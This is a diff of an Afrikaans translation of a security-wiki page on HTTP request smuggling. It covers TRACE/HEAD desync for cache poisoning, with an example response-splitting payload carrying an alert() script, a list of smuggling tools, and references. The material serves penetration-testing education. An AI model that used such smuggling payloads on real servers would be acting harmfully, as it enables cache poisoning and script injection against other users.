+Om voort te gaan, word dit voorgestel om [**this post**](https://portswigger.net/research/trace-desync-attack) te volg as 'n ander manier om die TRACE method te misbruik. Soos opgemerk, deur 'n HEAD request en 'n TRACE request te smuggle, is dit moontlik om **sekere weerspieëlde data te beheer** in die response op die HEAD request. Die lengte van die body van die HEAD request word hoofsaaklik aangedui in die `Content-Length` header en word gevorm deur die response op die TRACE request.

-Daarom is die nuwe idee dat, wanneer jy hierdie Content-Length en die data in die TRACE-response ken, dit moontlik is om die TRACE-response 'n geldige HTTP-response ná die laaste byte van die Content-Length te laat bevat, waardeur 'n aanvaller die versoek na die volgende response volledig kan beheer (wat gebruik kan word om cache poisoning uit te voer).
+Dus is die nuwe idee dat, deur hierdie `Content-Length` en die data wat in die TRACE response gegee word te ken, dit moontlik is om die TRACE response 'n geldige HTTP response te laat bevat ná die laaste byte van die Content-Length, wat 'n aanvaller toelaat om die versoek na die volgende response volledig te beheer (wat gebruik kan word om cache poisoning uit te voer).

 Example:
 ```
@ -723,7 +722,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Sal hierdie responses genereer (let hoe die HEAD response 'n Content-Length het wat die TRACE response deel van die HEAD-body maak en sodra die HEAD Content-Length eindig, 'n geldige HTTP response gesmuggel word):
+Sal hierdie antwoorde genereer (let hoe die HEAD-antwoord 'n Content-Length het wat die TRACE-antwoord deel van die HEAD-liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP-antwoord gesmokkel):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -744,16 +743,16 @@ Content-Length: 50

 <script>alert(“arbitrary response”)</script>
 ```
-### Wapenmaak van HTTP Request Smuggling met HTTP Response Desynchronisation
+### Wapenisering van HTTP Request Smuggling met HTTP Response Desynchronisation

-Het jy 'n HTTP Request Smuggling kwesbaarheid gevind en weet jy nie hoe om dit te benut nie? Probeer hierdie ander metodes van uitbuiting:
+Het jy 'n HTTP Request Smuggling kwesbaarheid gevind en weet nie hoe om dit uit te buit nie? Probeer hierdie ander metodes van uitbuiting:


 {{#ref}}
 ../http-response-smuggling-desync.md
 {{#endref}}

-### Ander HTTP Request Smuggling Techniques
+### Ander HTTP Request Smuggling-tegnieke

 - Browser HTTP Request Smuggling (Client Side)

@ -858,14 +857,14 @@ table.add(req)
 ```
 ## Gereedskap

- HTTP Hacker (Burp BApp Store) – visualiseer konkatenasie/inkadering en laevlak HTTP-gedrag
+- HTTP Hacker (Burp BApp Store) – visualiseer concatenation/framing en laagvlak HTTP‑gedrag
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Hierdie hulpmiddel is 'n grammatika-gebaseerde HTTP Fuzzer nuttig om vreemde request smuggling-ongelykhede te vind.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Hierdie tool is 'n grammatika-gebaseerde HTTP Fuzzer wat nuttig is om vreemde request smuggling-ongereimthede te vind.

 ## Verwysings

@ -878,7 +877,7 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Waak teen die valse vals-positief: hoe om HTTP pipelining van request smuggling te onderskei – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Wees versigtig vir die valse vals-positief: hoe om HTTP pipelining van request smuggling te onderskei – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)